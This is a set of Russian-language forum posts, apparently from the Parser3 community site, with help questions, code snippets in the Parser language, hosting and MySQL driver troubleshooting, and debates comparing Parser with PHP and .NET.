}\
\
\
@navigation_cell[]\
$sections.name<br>\
^sub_section.menu{\
	^if($sections.sub_section eq '1'){\
		^if($sections.section_id eq $sub_section.section_id){\
			<a href=\"$sub_section.uri\">$sub_section.name</a><br>\
		}\
	}{\
	}\
}\
[/code]\
\
и получили:\
[code]\
section1<br>\
<a href=\"/1.1/\">1.1</a><br>\
<a href=\"/1.2/\">1.2</a><br>\
<a href=\"/1.3/\">1.3</a><br>\
section2<br>\
section3<br>[/code]"
"47240","[code]\
<input name=\"posted\" value=\"save\" type=\"image\" src=\"/images/but-save.gif\">\
[/code]\
упорно передает координаты нажания кнопки, вместо значания \"save\" \
[code]?posted.x=31&posted.y=13. [/code]\
\
[b]Возможно ди это отключить?[/b]\
\
Возникает только в IE в других броузерах не замечал."
"47242","Проверил:\
IE 5, 6\
Opera 6.05, 7.54, 8.5\
FF 0.9.3\
\
Только в файрфоксе передается value и координаты, в остальных только координаты. Вывод? (Не использовать :)"
"47243","внимательно прочтите спецификацию:\
[quot]\
Если для щелчка на кнопке image используется указательное устройство (мышь и т.п.), форма отправляется и координаты щелчка передаются серверу. Значение Х измеряется в пикселах от левого края изображения, а значение У - в пикселах от верхнего края изображения. Отправленные данные включают значения name.x=x-value и name.y=y-value, где \"name\" это значение атрибута name, а x-value и y-value это значения координат x и y соответственно.\
\
Если сервер выполняет разные действия в зависимости от места нажатия на элементе, пользователи неграфических браузеров окажутся в затруднительном положении. По этим причинам авторы должны предусматривать дополнительные варианты:\
\
Использовать несколько кнопок submit (каждая со своим изображением) вместо единой графической кнопки submit. Авторы могут использовать таблицы стилей для управления положением кнопок. \
Использовать клиентские карты изображений в сочетании со скриптами.\
[/quot]"
"47244","Примерно так:\
[code]\
@InsertSpaces[text;max_length;symbol]\
##################################\
# Разбивает длинные слова в тексте. Возвращает текст в котором максимальная длина каждого слова не превышает заданной длины.\
#\
#   ^InsertSpaces[\
#	string $text;\
#	int $max_length = 75;\
#	string $symbol = \" \"\
#   ]\
$max_length(^max_length.int(75))\
$symbol[^if((def $symbol) && (^symbol.length[] == 1)){$symbol}{ }]\
$result[^text.match[(\\w{$max_length,}?)][gs]{${match.1}$symbol}]\
#end @InsertSpaces[]\
[/code]"
"47245","Решение 1: использовать XML\
Решение 2: использовать \\n сместо пары пробелов"
"47246","[code]@is_probably[probability]\
$result(^math:random(1000) < ^probability.format[%.3f]*1000)\
\
@if_probably[probability;probable;improbable]\
^if(^math:random(1000) < ^probability.format[%.3f]*1000){$probable}{$improbable}[/code]\
\
Пример использования:\
[code]^if(^is_probably(0.005)){случилось}{не случилось}\
^if_probably(0.005){случилось}{не случилось}[/code]"
"47247","чтобы округлить до третьего знака после запятой достаточно\
[code]\
^math:round($value*1000)/1000\
[/code]"
"47250","если сразу безусловно идет редирект?"
"47251","захотелось подновить...\
\
http://www.parser.ru/docs/lang/install4iis.htm"
"47254","Разьве ^double.format[] переводит число в строку?"
"47255","[b]Пример:[/b]\
\
[code]\
# Тестовая таблица\
$tab[^table::create{id   fields\
1   1,2,3,4,5}]\
\
# Просто строчка со словом fields\
$f[fields]\
\
^tab.menu{\
  $tab.[$f]\
}\
[/code]\
\
\
Пример упрощенный и не работает, получаю логичный:\
[quote]is 'hash', it has no string representation[/quote]\
\
Поменять название поля нельзя, эта таблица формируется не мной.\
\
Как получить данные?"
"47256","[code]\
$tab[^table::create{id   fields\
1   1,2,3,4,5}]\
\
^tab.menu{\
  $tab_hash[$tab.fields]\
  $tab_hash.fields\
}\
[/code]"
"47257","[code]\
^if(1<<0 == 1<<32){\
	$result[Нас предали чёртовы лапласиане]\
}{\
	$result[Век 64 битных компьютеров пришел, да. Осталось проверить это этот кусок кода у хостера]\
}\
[/code]"
"47259","^math:round(0.5) -> ^math:round(1) Так? Но в моем коде как я могу это использовать?\
\
Такой вариант хуже/лучше:[code]@is_probably[probability]\
$result(^math:random(1000) < ^math:round($probability*1000))\
[/code]?"
"47260","http://www.parser.ru/forum/?id=14745"
"47263","http://www.rusonyx.ru/ - как раз Red Hat Enterprise Linux AS release 3. http://www.rusonyx.ru/service/vps/details/ - подробности.\
\
Если что, то можно попытаться скачать Parser3 и драйвер MySQL с http://www.opensea.tv/parser3/ Есть и 3.1.5beta."
"47265","Все верно, мне просто не хватает понимания команд парсера, мне кажется что документация по второму парсеру была более удобна и прозрачна, чем по третьему"
"47266","Привет.\
Parser? Интерестно, что к чему. \
Поставил ДЕНВЕР. Проверил работу php - все ок.\
Первый пример - меню навигации.\
На виртуальном диске в директории W:\\home\\test1.ru\\www\\\
создал файл sections.cfg\
\
Содержимое sections.cfg\
section_id	name	uri\
1	main	/\
2	news	/news/\
3	help	/help/\
\
Далее создал auto.p\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
В описании сказано - Теперь открываем код страницы, где все это должно появиться (например, index.html), и говорим: «Вставить меню навигации». На Parser это называется «вызов метода» и пишется так:\
^navigation[]\
\
Так и делаю. Создаю файл index.html который содержит только одну строку:\
^navigation[]\
\
Захожу в броузер, запускаю свой www.test1.ru и получаю вывод на экран - ^navigation[]\
\
Сразу ссылаюсь на свою тупость, проверяю все действия по мануалу - все верно.\
\
Как вызвать метод в html файле?"
"47267","Еще для примера поищи в денвере где-то в разделе тестирования есть пример с Парсером."
"47268","СпасиБО :)"
"47269","Закачал всё,. информацию не меняя в файле auto.p - тестовая страница работает : http://ppa.net.ru/_test.html\
Но мне нужен доступ к БД, я раскаментировал строку - и всё не работает: в ЛОГЕ пишится  \
\
 Premature end of script headers: /home/petro/public_html/cgi-bin/parser3.cgi\
\
user=логин\
123456789-пароль\
db-база данных\
строка запроса к mySql БД выглядит так: \
$SQL.connect-string[mysql://user:123456789@localhost/db?charset=windows-1251]\
\
В чём проблема?"
"47276","Чат стал выдавать сообщение \"regexp is empty\". Может это ваще не парсер виноват? www.ugbugan.ru/chat/"
"47277","не ни какой ошибки, всё работает"
"47278","Так ведь не всегда выдает. И ваще что это могло значить?"
"47280","А дальше смотрите что у вас там:[code]^string.match[>>тут пусто оказывается<<][i]{$match.1}[/code]"
"47281","Читаем статью в Ководстве:\
http://www.artlebedev.ru/kovodstvo/120/\
\
Читаем решение в ЖЖ:\
http://www.livejournal.com/community/ru_webdesign/286427.html\
\
P.S. Почему нельзя вставить символ параграфа? &#167; = ї"
"47282","Непонятно, зачем создавать такой язык как Parser, если его так усложнили (иначе он и не нужен), если есть PHP. Стоило ли изобретать велосипед, если он уже есть?"
"47283","Постановка задачи\
I.	Что делаем? \
Сайт в сети Интернет, моделирующий человеческое общество и поведение человека в нем.\
II.	Моделируем реальность\
Поскольку конкретно и четко описать сразу и одномоментно все возможные варианты поведения и состояние системы не реально одному человеку, создаем конструктор и отдаем его на откуп пользователям. Больше всего для моделирования большой саморазвивающейся системы подходит концепция объектно-ориентированого программирования. Из всех вариантов объектно-ориентированного программирования для этой задачи наилучшим образом подходит Smalltalk. Однако склеить этот язык и сайт для меня большая проблема. Посему ищутся выходы из этого противоречия.\
Необходимо на период старта и раскрутки проекта подобрать среду разработки, отвечающую следующим требованиям:\
1.	Возможность легкого размещение на не дорогом хостинге. До 5 у.е. в месяц.\
2.	Распространенный язык программирования легкий в изучении.\
3.	Поддерживание установок: «Все есть объект» и «Программирование как моделирование» отношение к объектам, живущим в пределах сайта как к моделям сущностей из реального мира. Свойства этих объектов-моделей таковы:\
a.	Каждый объект является некоторой единичностью, он отличается от других объектов и от окружающей среды.\
b.	Объект определяется по имени (идентификатору), связанным с ним.\
c.	Объект обладает состоянием, и он помнит свое состояние.\
d.	Объект обладает поведением. Это поведение реализуется таким образом, что объект может воспринимать сообщения и реагировать на них, в частности, посылать сообщения другим объектам. Иными словами, объекты взаимодействуют друг с другом посредством посылки сообщений. Поведение объекта может также состоять в том, что он меняет свое состояние.\
\
Реализовать все это на типичной связке для виртуального хостинга, Apache+PHP+MySQL, выходит все равно, что изобретать велосипед. Какие пути решения этой задачи Вы видите? Реализуемо ли это на Parser'е?"
"47284","[quot][b]Если есть PHP, то для чего Parser?[/b]\
PHP — это язык программирования, требующий соответствующей подготовки. На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.[/quot]\
\
http://www.parser.ru/faq/general/"
"47286","При выключенном JavaScript не удаётся написать сообщение в форуме.\
Хотя бы <noscript><input type=\"submit\" value=\"Написсать для тех у кого отключен JS\"></noscript>\
Странные вы товарищи..."
"47287","А ты сам пробовал писать на php. Я около 3х лет работаю с ним в дизайн студии. Сравнив PHP и Parser пришёл к выводу, что Parser идёт по пути развития. Поэтому он будет усложнятся, если у него есть желание стать удобным для Web!"
"47289","Используется ли в Parser'e алгоритм вложенных множеств типа Nested Sets? Как вы обходите эту проблему - рекурсией?"
"47290","3 года назад, когда мне понадобилось оперативно освоить server-side язык, я посмотрел на PHP (ужасный синтаксис, никакая документация..) и не понял как можно его быстро изучить... :-) Попробовал парсер. До сих пор для нужд веба хватает."
"47291","Так может сначала попробовать, а потом сделать выводы?"
"47292","И вообщем-то незачем, потому что использовать вышеупомянутый phpMyAdmin совместно с сайтами на парсере никто не мешает."
"47294","Каждому подходит свой инструмент, и в этом нет ничего удивительного. Мне парсера хватает, и я уже не вижу смысла пересаживаться на что-либо другое."
"47295","[b]Функции для работы с массивами в PHP 4.3.1[/b]\
\
array_change_key_case — возвращает массив со всеми строковыми ключами в нижнем или в верхнем регистре \
array_chunk - делит массив на отрезки \
array_count_values - возвращает количество значений в массиве \
array_diff - вычисляет разницу между массивами \
array_fill - заполняет массив значениями \
array_filter - фильтрует элементы массива с использованием callback-функции \
array_flip - меняет местами ключи и значения массива \
array_intersect - вычисляет пересечение массивов \
array_key_exists - проверяет, существует ли данный ключ или индекс в массиве \
array_keys - возвращает все ключи массива \
array_map - применяет обратный вызов/callback к элементам данного массива \
array_merge_recursive - рекурсивно объединяет два или более массива \
array_merge - объединяет два или более массивов \
array_multisort - сортирует несколько (или многомерные) массивов \
array_pad - заполняет массив значением на специфицированную длину \
array_pop - выталкивает элемент в конце массива \
array_push - вставляет один или более элементов в конец массива \
array_rand - извлекает одно или несколько произвольных вхождений из массива \
array_reduce - итерирует по массиву и уменьшает его на единственное значение, используя callback-функцию \
array_reverse - возвращает массив с элементами в обратном порядке \
array_search - ищет в массиве данное значение и возвращает соответствующий ключ при успехе \
array_shift - сдвигает элемент за пределы начала массива \
array_slice - извлекает отрезок массива \
array_splice - удаляет часть массива и заменяет её чем-нибудь \
array_sum - высчитывает сумму значений массива \
array_unique - удаляет дублирующие значения из массива \
array_unshift - присоединяет один или более элементов в начало массива \
array_values - возвращает все значения массива \
array_walk - применяет пользовательскую функцию к каждому члену массива \
array - создаёт массив \
arsort - сортирует массив в реверсном порядке и обслуживает ассоциацию индексов \
asort - сортирует массив и обслуживает ассоциацию индексов \
compact - создаёт массив из переменных и их значений \
count - подсчитывает элементы в переменной \
current - возвращает текущий элемент массива \
each - возвращает текущую пару key/value из массива и передвигает курсор массива \
end - устанавливает внутренний указатель массива на последний элемент \
extract - импортирует переменные из массива в текущую таблицу символов \
in_array - возвращает TRUE, если значение существует в массиве \
key - извлекает a ключ/key из ассоциативного массива \
krsort - сортирует массив по ключам в реверсном порядке \
ksort - сортирует массив по ключам \
list - присваивает переменные, как если бы они были массивами \
natcasesort - сортирует массив с использованием алгоритма, без учёта регистра в \"естественном порядке\" \
natsort - сортирует массив с использованием алгоритма \"в естественном порядке\" \
next - передвигает вперёд внутренний указатель массива \
pos - получает текущий элемент массива \
prev - возвращает в начало внутренний указатель массива \
range - создаёт массив, содержащий диапазон элементов \
reset - устанавливает внутренний указатель массива на первый элемент \
rsort - сортирует в реверсном порядке \
shuffle - перемешивает массив \
sizeof - получает количество элементов в переменной \
sort - сортирует массив \
uasort - сортирует массив с использованием пользовательской функции сравнения и обслуживает ассоциацию индексов \
uksort - сортирует массив по ключам, используя пользовательскую функцию сравнения \
usort - сортирует массив по значениям, используя пользовательскую функцию сравнения"
"47296","А вы чем похвастаетесь?"
"47297","Безопасно работаем.\
taint\
untaint\
смотри документацию"
"47298","А мы по-твоему сиськи мнём?"
"47299","Работа с формами, cookies, табличными файлами, базами данных и XML — часть языка, а модульность языка позволяет легко наращивать функциональность.\
Смотрите - так недалеко и до Perl'а разрастись. Сам чёрт скоро у вас ногу сломит! Всё, до следующих встреч. Помолитесь за меня. Вечный грешник."
"47304","Уже несколько лет использую парсер - сделал на нем пару десятков сайтов и мне очень нравится эта система почти во всех отношениях.\
\
Меня, как навярняка и многих других разработчиков, сильно беспокоит вопрос будущего - будет ли парсер развиваться дальше? \
\
Судя по многочисленным сообщениям в интернет студия Лебедева начала/или планирует/ перевод своих сайтов на платформу ASP.NET; даже на сайте парсера(!) висит объявление о поиске программистов .NET. Обновление парсера, обещанное летом задерживается на 4 месяца. Это настораживает.\
\
Александр, парсер - великолепный инструмент, однако выбор системы разработки зависит от перспективы - что ждет нас через год, два? Насколько парсер будет способен отвечать новым требованиям?\
\
Пожалуйста, если Вы уже сейчас понимаете, что ASP.NET вытеснит парсер из студии Лебедева и Вы не планируете/не будете/не сможете развивать парсер в будущем, предупредите нас (разработчиков). \
\
\
Или развейте сомнения :)\
\
\
Что Вы думаете по-поводу перспектив парсера через год, два?"
"47305","Я успешно использую совместно и парсер и phpMyAdmin - одно другому совершенно не мешает.\
\
parser forever :)"
"47306","ООП\
Продвинутый механизм исключений\
taint/untaint\
Единый интерфейс для БД\
легко использовать XML в разработках\
макроязык\
Высокая скорость разроботки\
и т.д. (подробнее в доке)\
\
Конечно многое из перечисленного выше есть в PHP5, но как показывает статистика 75% пхп программистов до сих пор сидят на PHP4 (может ООП боятся=))))\
\
И вообще не надо делать неаргументированных выводов не вникнув в суть вопроса. Попробуйте почитать документацию, поделать примеры и\
всё сразу станет ясно(в частности почему в Парсере нет Вами изложенных функций)\
P.S. Не в количестве функций счастье, а в умение их грамотно использовать =)"
"47308","ИМХО у сейчас у парсера не может быть будущего - он слишком отстает от PHP, да и .NET тем более."
"47309","както безсмысленно [quot]сейчас у парсера не может быть будущего[/quot],а когда может быть будующее? \
Поскольку ПАРСЕР досих пор не умер, как говорится, в зародыше, а наоборот помалу развивается и понемногу увеличивает аудиторию поклонников, то вероятно у него есть будующее.\
Я думаю всё зависит от авторов проэкта.\
Тут было одно изречение поповоду новых технологий http://www.parser.ru/forum/?id=47306 , так вот у меня рабочий код на ПХП4 отказался работать на ПХП5, выдавал сплошные ошибки, это значит, что ПХП5 надо изучать по новой. Именно поэтому многие продолжают работать на ПХП4 и по той-же причине на ПАРСЕРе много начинающих кодеров, которые ещё не успели с головой погрузиться в ПХП или какой нибудь другой язык.\
ИМХО"
"47310","Сорри за опоздание...\
function timer() {\
	setTimeout(\"location.href='messages.html'\", ^eval($chat_refresh_time*1000));\
}\
\
Этот код вписать в страницу (фрейм с сообщениями), а в теге body указать onLoad=timer()\
все замечательно работает. Проверьте на www.ugbugan.ru/chat/"
"47311",".NET может нанести удар не только по парсеру - php в том же положении. Сильные стороны .NET, как я понимаю:\
- единый язык программирования на серверной и клиентской стороне\
- новые элементы управления на веб-страницах\
- тесная интеграция с приложениями MS-Office\
и т.д. \
\
через некоторое время разработчики, не использующие .NET, могут просто оказаться в ситуации, когда им нечего будет противопоставить конкурентам с .NET. \
\
Как я себе представляю, Заказчик сайта будет рассуждать примерно так  - \
\
\"обращусь к ним, и у меня на сайте будут нормальные элементы управления, выгрузка данных на сайт прямо из Excel и Word и т.п. А обращусь к этим - получу сайт на с некрасивыми и неудобными (старыми) формами и неудобной CMS (потому что они используют parser/php и у них эти новые технологии в принципе реализовать не возможно)\"\
\
Уже один факт, что студия Лебедева (разработчики парсера) свою CMS переводит на .NET говорит о многом. \
\
Я так понимаю, что если один из аргументов этого перевода - единый язык программирования на клиентской и серверной стороне, то парсеру в студии Лебедева не остается места? Зачем поддерживать технологию, которую студия не будет использовать в работе?\
\
Поэтому и поднял эту тему - хочется от разработчиков парсера услышать, что они думают о будущем своего детища."
"47312","Покритикуйте метод:\
\
[code]\
\
$tmpDir[^searchOutOfSpaceDir[_tmp]]\
\
......\
\
@searchOutOfSpaceDir[name][_file]\
##################################\
^try{\
	^name.save[/$name/_test.htm]\
	$_file[^file::load[text;http://$env:SERVER_NAME/$name/_test.htm]]\
	$result[^searchOutOfSpaceDir[../$name]]\
}{\
	$exception.handled(1)\
	$result[/$name]\
}\
^file:delete[/$name/_test.htm]\
#end @searchOutOfSpaceDir[]\
[/code]"
"47313","Это алгоритм хранения древовидных структур.\
Реализуется элементарно."
"47314","Мы использовали hashfile для кэширования промежуточной информации (иногда здорово выручало)/ Опять хочу [url=\"http://www.parser.ru/forum/?id=37162\"]memcache[/url] :)"
"47315","Почему мои посты удаляются?\
Я что-то непристойное или глупое пишу?\
Обыдно :("
"47317","Алгоритм простой: двигаемся снизу вверх от DOCUMENT_ROOT и пытаемся прочесть тестовый файл http запросом. Как только не можем этого сделать - считаем результат достигнутым."
"47320","Спасибо, но я имел в виду не обещанное летом обновление (3.1.5, 3.2.0) - меня волнует что будет через год-два. \
\
Повторюсь, но меня очень беспокоит то, что студия Лебедева (если информация верна) переводит свой CMS на платформу .NET. Как я понимаю, это подразумевает отказ через некоторое время от использования парсера на сайтах, разработанных в студии. Откуда следует логичный вопрос - зачем студии Лебедева поддерживать технологию, от которую она решила заменить на .NET?\
\
Пожалуйста, ответьте, \
\
1. Планируете ли Вы развивать парсер в следующий год-два, или уже сейчас понимаете, что развитие парсера прекратится с переходом студии Лебедева на .NET? \
\
2. Какое место Вы видите для парсера в следующий год-два, не думаете ли Вы, что его полностью вытеснит .NET? \
\
(еще раз - студия Лебедева выбирает .NET, развитие парсера прекращается, через год-два он морально устаревает по-сравнению с той же .NET, и разработчики на парсере не смогут предложить конкурентно-способное решение по-сравнению с разработчиками на платформе .NET)?\
\
P.S. Александр, Евгений, эти вопросы не из простого любопытства - для меня и многих других разработчиков выбор платформы определяется в т.ч. перспективами ее развития. Я очень уважаю парсер, но у меня серьезные сомнения по-поводу его будущего. \
\
P.S.S. Пожалуйста, не пересылайте меня опять на тему про обновления. Для меня важно понять, стоит ли рассчитывать на парсер через год, два, а это во-многом зависит от того, насколько Вы сами собираетесь его развивать. \
\
Будьте добры, обозначте свою позицию - развитие парсера и его место в ряду технологий PHP, ASP.NET(2)?"
"47322","Странное ощущение, что Вы намеренно усложнили описание своей задачи, которую можно изложить в нескольких коротких фразах...\
\
Ну, если я правильно эту задачу себе представляю, то вся соль в том, что \"воспринимать сообщения и реагировать на них, в частности, посылать сообщения другим объектам\". Для какой-нибудь реализации Apache+MySQL+Parser хватит. Для какой-нибудь."
"47323","неиспользование яваскрипта или кук - ваше право. Те кто ходят в этот форум ими пользуются."
"47324","Нет, просто они хотят видеть только хвалебные песни парсеру."
"47325","Что то очень похожее на ботов с различным поведением с которыми можно общаться, так?"
"47326","перепроверьте, что скачали драйвер для [b]вашей[/b] OS и закачали его в бинарном режиме (для чего просто сравните размер файла .so на локальной и удалённой машине).\
\
пожалуйста, выберите себе nick. в меру фантазии?"
"47328","два проекта, открытых в прошлый понедельник, сделаны на Parser3:\
\
[url=\"http://www.artlebedev.ru/portfolio/kabinet/site/\"]Сайт компании «Кабинет»[/url]\
21.11.2005\
\
[url=\"http://www.artlebedev.ru/portfolio/alfabank/forex/\"]Сайт «Альфа-Форекс»[/url]\
21.11.2005 \
\
http://www.artlebedev.ru/portfolio/\
\
уверен, и через пару лет актуальность не снизится.\
[банальность]все клиенты — разные[/банальность]"
"47329","Аффтар - Аццкая Сотона придлагает жечь на аццкай пиэчьпиэ.\
Вы, пардон муа, как в лесу-то и без компа программируете?:)\
\
А если серьезно, то - что это за детство?\
Появиться на тематическом форуме и назадавать дурных вопросов, получить соотв. ответы. Это круто? \
БТВ: для большинства перечисленного здесь http://www.parser.ru/forum/?id=47295  в Парсере не надо создавать кучу функций типа \"покажи_где_там_за_углом_у соседа_хэш\"\
примеры, выбранные рэндомом:\
\
1. array_key_exists  - тут хватит ^if(def $hash.key){}\
2. array_walk, array_values, array_sum и прочее похожее на это - буквально пример из доки см. раздел про таблицы и хэши (foreach, menu):)\
 Думаю вполне хватит. А то и сам в флэйм влезу.\
\
З.Ы.\
 Давайте договоримся - Вы больше не грешите, а то толку за вас молиться? Endless loop получится. От чего в Парсере, кстати, есть встроенная защита :)"
"47330","Они просто не хотят видеть чушь :). И правильно делают.\
Насчет хвалебных песен - поищите по форуму тут много критики. В том числе конструктивной, но не сказать чтобы она  преобладала.\
\
З.Ы.\
Мои посты тоже удалялись, но я не особенно расстроен. :)"
"47331","Что означает.\
\
[Mon Nov 28 11:29:02 2005] /contacts/gbook.html: /home/z/zartws/public_html/auto.p(26:2): './lib/libparser3mysql.so' driver implements API version 0x0009 not equal to 0x0007 [<no type>]\
\
Кажется несоотвествие версий парсера и драйвера, а где взять нужную?"
"47333","Да, так и есть.\
.NET рассчитан на использование в различных распределенных веб-системах (взять хотя бы те же веб-сервисы) и, ИМХО, в данной области очень удобен.\
.NET также унифицирует концепции как веб- так и Windows-программирования, что также очень удобно.\
\
Будущее как раз за распределенными веб-приложениями, и здесь PHP (и тем более Parser) значительно уступают. Мне кажется, они постепенно будут вытесняться.\
\
PS. А когда .NET станет действительно кроссплатформенным, то можно будет говорить и о постепенном вытеснении Java."
"47334","И что же, любое частное мнение без аргументации - чушь?\
Написано было дословно:\
\
[quot]ИМХО парсер не дотягивает до PHP и тем более до .NET[/quot]\
\
Что, теперь я уже не имею право на ИМХО?"
"47335","Александр, но это все дело настоящего (проекты от 21.11.2005) и ближайшего будущего (парсер 3.2.0), а можете ли Вы дать прогноз на год-два?\
\
Меня беспокоят сообщения о том, что ВСЕ проекты студии Лебедева будут постепенно переводиться на новый CMS, работающий в .NET. \
\
Разьве это не означает замещения парсера на серверной части?"
"47336","Если каждый прийдет союда и напишет ИМХО не относящееся к делу :)\
то информативность этого форума станет отрицательной. Своими письменми про РНР мы засоряем форум. Пример: человек хочет использовать какойто модуль написанный на РНР в парсере и ,  вместо того, чтобы найти ответ ПАФА про то, как это реально сделать, находит Ваше ИМХО и флэйм вокруг него. Оно ему надо?"
"47337","[quot]\
...а где взять нужную?\
[/quot]\
\
В разделе [url=\"http://www.parser.ru/download/\"]скачать[/url]"
"47338","[quot]Imprimatur II обладает рядом возможностей, которые невозможны на Imprimatur I. Но подходит он для создания вполне определенного класса проектов и кроме того имеет существенные ограничения по хостингу.[/quot]\
и\
[quot]уверен, и через пару лет актуальность не снизится.\
[банальность]все клиенты — разные[/банальность][/quot]\
\
Что вам еще надо? :-)"
"47340","в любом случае: «те, которые целесообразно перевести …»."
"47341","Установил последнии версии, конфиги, теперь в лог парсера ничего не пишет, а веб сервер выдает сообщение: 500 Internal Server Error."
"47343","Мне парсер кажется достаточно простым и эффективным. Зачем заморачиваться с PHP, если он не нужен мне. Думаю он для тех кому нужна эффективность в ущерб красоте."
"47346","Метод возвращает случайное число из указанного диапазона с определенным шагом.\
[code]@xRandom[from;to;step][_step]\
$_step(^step.double(1))\
^if($to > $from){\
	$result(^math:random($to/$_step-$from/$_step+1)*$_step+$from)\
}{\
	$result(^math:random($from/$_step)*$_step)\
}[/code]\
\
Пример использования:[code]^xRandom(1;2.5;0.001) --> 1.419, 2.434, ...\
^xRandom(0;1;0.1) --> 0.1, 0.2, ...\
^xRandom(1;5;2) --> 1, 3, 5.[/code]"
"47347","Т.е. можно ли все вышесказанное понимать как:\
\
Вы (разработчики парсер) уверены, что парсер не останется без поддержки и развития минимум два ближайших года, и Вы НЕ планируете отказаться от него в пользу .NET (за исключением проектов \"крупного маштаба\")?"
"47350","насчёт развития: просим идеи не солить и не класть после этого в погреб, а публиковать здесь, обсудим все вместе."
"47351","Ну почему же?\
Вот, например, http://actis.ru/ru/works/index.wbp - все, что на WebBuilder'e."
"47352","Существует поверье, что брошенная жена не может родить ребёнка. Это миф, уверяю Вас. Может! Если проявит определенные усилия в направлении реализации данной задачи :)\
\
Даже если завтра Студия \"бросит\" парсер - что изменится? Есть исходные коды скрипта, есть определенные наработки, есть круг программистов работающих на Парсере. Какая нужна поддержка от Студии, по большому счету? Код для вэба она пишет только под заказ и только в рамках проектов. Великое благо, что на этом форуме создатели откликаются на просьбы помочь разобраться и консультируют по очень многим вопросам. Но в любом случае код пишете вы и только вы самостоятельно! Не надо боятся быть брошенным!\
\
Развитие... Чего-то не хватает конкретного? В 3.2.0 будет реализован механизм пропертиз, а без него сейчас тупик настал? Я вот прекрасно обхожусь без XML, хотя он и реализован в Парсере, и ничего, как-то собираю свои системы. А вот на ПХП уже давно понаделал бы таких \"дырок\" в своих проектах, как в хорошем голландском сыре. И 90% рабочего времени тратил бы на тестирование на безопасность уже сделанного, да и не факт что все нашел бы.\
\
Не переживайте - радуйтесь тому что уже есть :)"
"47353","Никому не интересно :("
"47354","Вы не правы.\
Если PHP, .NET и иже с ними будут развиваться, а парсер - нет, то последний определенно загнется. Более того, чтобы догнать \"старших братьев\", парсер должен развиваться очень быстрыми темпами и предлагать программистам что-то такое, что будет значительно превосходить возможности того же PHP по крайней мере в сфере веб-программирования."
"47355","Чем не устраивает:\
[code]\
  $outerSpace[$request:document-root/../]\
[/code]"
"47356","Парсер гораздо более удобен для создания сайтов и вообще работы с вэбом чем ПХП и чем .НЕТ. Это моё личное мнение и я не готов дискутировать по данному вопросу на форумах. Время жалко да и смысла нет."
"47357","Используются в некотором подобии auth.p\
Хэшфайлы под большой нагрузкой читаются постоянно, а запись при отсутствии элемента в нем может произойти в любой момент."
"47358","А нельзя как-нибудь выделить корневые сообщения в общей массе (поиск, закладки)? К примеру, буллит сделать квадратным? На мой взгляд, приятная мелочь была бы :-)"
"47359","Не раз сталкивался с \"кривым\" ДОКУМЕНТ_РУУТ. Сколько хостингов - столько и кривых настроек :)\
\
Имхо - по возможности надо таки тестировать, а не предполагать."
"47360","А надо просто спросить у пользователя куда класть файлы. Или идти от документ-рута, предполагая, что человек, который ставил Парсер на сервер удосужился прописать в $request:document-root правильное значение через auto.p."
"47362","это нормально.\
если между read остаётся хоть миллисекундная дырочка, то в неё влезет write и всё запишет.\
\
тут важно: чтобы после write процесс не держал hashfile открытым [b]час-два[/b], а закрывал сразу."
"47363","Ну, допустим, ваше (как и мое, например) личное мнение - не показатель."
"47364","На площадку с предустановленным парсером инсталируется система человеком-секретарем, который в Ворде только умеет работать. Понятно, что над программистом издеваться не надо подобными методами :) , но тут другая задача."
"47365","Буду краток(с)\
\
Все. Понадобился. Только сегодня говорили....\
\
Заказчик хочет админку, из которой нужно доступать и к MySQL.\
РНР на его сервере нет.\
\
Начинаю реализовывать. \
По окончанию выложу в бесплатный общий доступ.\
\
Хотелось бы услышать пожелания. \
Какие функции народ хочет в нем видеть?"
"47366","возможно, заказчик хочет прямого доступа в базу?\
чтобы заказчик мог сам строить отчёты по накопленным данным?\
вот это может быть разумно.\
\
если хостинг — виртуальный и прямого доступа с [b]определённых[/b] адресов хостер не даёт, это можно обойти и доступ получить:\
http://www.parser.ru/forum/?id=43029\
\
тогда запросы/отчёты можно строить хоть из MSAccess!"
"47367","разработчику же вполне достаточно «палки-копалки», которой он может слать запросы и смотреть ответы.\
\
мы себе делали:\
* удобный список таблиц, чтоб не набирать\
* удобная кнопочка просмотра плана выполнения запроса\
* история запросов\
* кнопочка \"просмотреть работающие прямо сейчас запросы\"\
* кнопочка \"посмотреть подробные данные про таблицы\"\
* кнопочка \"посмотреть индексы таблицы\"\
\
это всё довольно тривиально, но руки не дошли причесать и выложить."
"47368","А что есть \"бот\"? Я с такой вещью не знаком..."
"47370","- в else добавлять +1, а то работают по разному\
- step переименовать... хоть в точность например... не знаю, но меня в ступор вогнал _step_ у _random_."
"47371","Так есть ли в сети работающие чаты? Поднимались подобные вопросы, но все только пытались писать или знали как это делать, а вот в действии..."
"47372","Есть таблицы из 100 записей, каждая запись имеет поле приоритета...\
можно ли перед выводом, записи этой таблицу перемешать по какому признаку этого поля ... ну скажем перемешать всех с приоритетом 1, потом всех с приоритетом 2 и т.д."
"47373","допустим в $table у вас таблица, priority это поле приоритета, записей меньше ста, тогда получаем что-то вроде[code]\
^table.sort($table.priority*100 + ^math:random(100))\
[/code]"
"47376","В данном аспекте..., встроенная программа моделирующая поведение человека,"
"47377","И другой подозреваю\
Подозреваю на carver.ru, и мой почти такой"
"47378","Это скорее приращение. Fixed:\
[code]@xRandom[from;to;increment]\
$increment(^increment.double(1))\
^if($to > $from){\
	$result(^math:random($to/$increment-$from/$increment+1)*$increment+$from)\
}{\
	$result(^math:random($from/$increment+1)*$increment)\
}[/code]"
"47380","Кто-нибудь пользовался MySQL на хостинге SpaceWeb?\
Если писать в auto.p просто libparser3mysql.so то файл не обнаруживается, если libparser3mysql4.so то сообщение об ошибке:\
 './lib/libparser3mysql.so' /lib/tls/libc.so.6: unexpected reloc type 0x0e [<no type>]"
"47382","MySQL Administrator\
MySQL Query Browser\
\
Это если к MySQL удаленный доступ возможен."
"47383","На carver.ru чат мне найти не удалось."
"47384","Бот - это программный юзер, например:\
\
1. Скрипт в чате, который имитирует человека, выдавая реплики случайно или в контексте на основе выборки отдельных слов из фраз других пользователей.\
\
2. Управляемый компьютером игрок в мультиплейерной игре (Counter Strike, Duke Nukem и т.п. Особенно - Quake 3). Использование таких дает возможность играть в многопользовательскую игру в локальном режиме."
"47385","[b]Мнение:[/b] В данной теме вероятно нет смысла...\
